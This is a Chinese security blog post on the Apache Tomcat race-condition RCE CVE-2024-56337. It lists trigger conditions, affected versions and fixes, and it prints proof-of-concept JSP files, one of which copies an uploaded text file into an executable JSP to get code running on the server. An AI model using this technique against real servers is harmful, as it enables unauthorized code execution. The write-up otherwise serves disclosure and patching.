Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

原创 犀利猪 犀利猪安全 2024-12-23 02:14

0x00 漏洞简述

此次漏洞的出现,源于对Tomcat条件竞争漏洞(CVE-2024-50379)的修复措施,但修复不够完整,导致Apache Tomcat 在特定配置下运行,攻击者可能利用该漏洞通过写入恶意文件,实现远程代码执行。

相比于原本的
Tomcat条件竞争漏
洞(CVE-2024-50379),无非是漏洞实现上稍微多了些许限制,其他无异样。

触发条件

1、readonly 初始化参数设置为false;

2、Tomcat 运行在区分大小写的文件系统上(Windows或某些Linux文件系统);

3、Java属性sun.io.useCanonCaches为true(Java8和Java 11默认为 true,Java17 默认false,Java21及以上版本不受影响)

影响版本
– Apache Tomcat 11.0.0-M1 至 11.0.1

  • Apache Tomcat 10.1.0-M1 至 10.1.33

  • Apache Tomcat 9.0.0-M1 至 9.0.97

0x01 前情回顾

之前我们分别发布了两篇文章,分别是Tomcat条件竞争RCE的复现、以及一篇如何让它持久的利用:

Tomcat RCE | CVE-2024-50379条件竞争RCE复现,带视频教程及POC

书接上回 | Tomcat条件竞争RCE该如何深入利用,让它持久而并非昙花一现

局限还是比较大的:首先就是需要在Windows上,在漏洞版本范围内,然后开了PUT请求,才能利用条件竞争进行上传。

但是有些东西,你懂的,不可能完全没人开启的,研究它,就是为了在遇到这个漏洞时更好的进行利用:

第二篇文章,咱们已经描述了这个条件竞争漏洞的利用条件,并提供了一个远程下载的方案,但是这个方案还是有一个问题:
如果目标不出网,无法进行远程下载,所以咱们总结了一个最终利用。

0x02 群友反馈

已经有群友反馈成功了,你也快试试吧:

0x03 直接开播

不想打字了,直接看视频吧:

Tomcat分大小写,所以竞争结束后访问xlz1.jsp和xlz1.txt返回404;
访问xlz1.Jsp或者xlz1.Txt的话会输出代码,反正就是不执行。 
总结一下就是受限制了,读取生成的没毛病。

POC如下

****获取时间:

GIF89a
<%@page import="java.text.SimpleDateFormat"%>
<%@page import="java.util.Date"%>
<%@ page language="java" contentType="text/html; UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>java_bean</title>
</head>
<body>

    <%
        Date date = new Date();   
        SimpleDateFormat df = new SimpleDateFormat("yyyy-MM--dd HH:mm:ss"); 
        String today = df.format(date); 
    %>
    当前时间:<%= today%>
</body>
</html>

读取重命名并保存:****

<%@ page import="java.io.*" %>
<%
    //要读取的文件
    String sourceFilePath = application.getRealPath("/") + "xlz1.txt"; 
//重新保存后的文件名
    String destinationFilePath = application.getRealPath("/") + "time123.jsp"; 

    try {

        FileReader fileReader = new FileReader(sourceFilePath);
        BufferedReader bufferedReader = new BufferedReader(fileReader);

        FileWriter fileWriter = new FileWriter(destinationFilePath);
        BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);

        String line;
        while ((line = bufferedReader.readLine()) != null) {
            bufferedWriter.write(line);
            bufferedWriter.newLine();  
        }
        bufferedReader.close();
        bufferedWriter.close();
        out.println("SAVA_PATH: " + destinationFilePath);
    } catch (IOException e) {
        e.printStackTrace();
        out.println("Error: " + e.getMessage());
    }
%>

0x04 修复措施

1. 升级 Apache Tomcat版本至:
–     Apache Tomcat 11.0.2 及以上

  • Apache Tomcat 10.1.34 及以上

  • Apache Tomcat 9.0.98 及以上

2. 临时缓解

Java8/Java11:
设置系统属性sun.io.useCanonCaches
 为false
(默认值为 true)。

Java17:
如该属性被设置,需确保其值为false
(默认值为 false)。

Java21 及以上版本:

无需配置(该属性已被移除)。

设置方法示例

    在启动 Tomcat 的 JVM 参数中添加:

-Dsun.io.useCanonCaches=false

(

END

)

!扫码添加哦!

联系进群即可,群内可交流技术

免责声明

文章
内容仅限授权测试或学习使用

请勿进行非法的测试或攻击****

利用本账号所发文章进行直接或间接的非法行为均由操作者本人负全责犀利猪安全及文章对应作者

不为此承担任何责任

文章来自互联网或原创

如有侵权可联系我方进行删除

并诚挚的跟您说声抱歉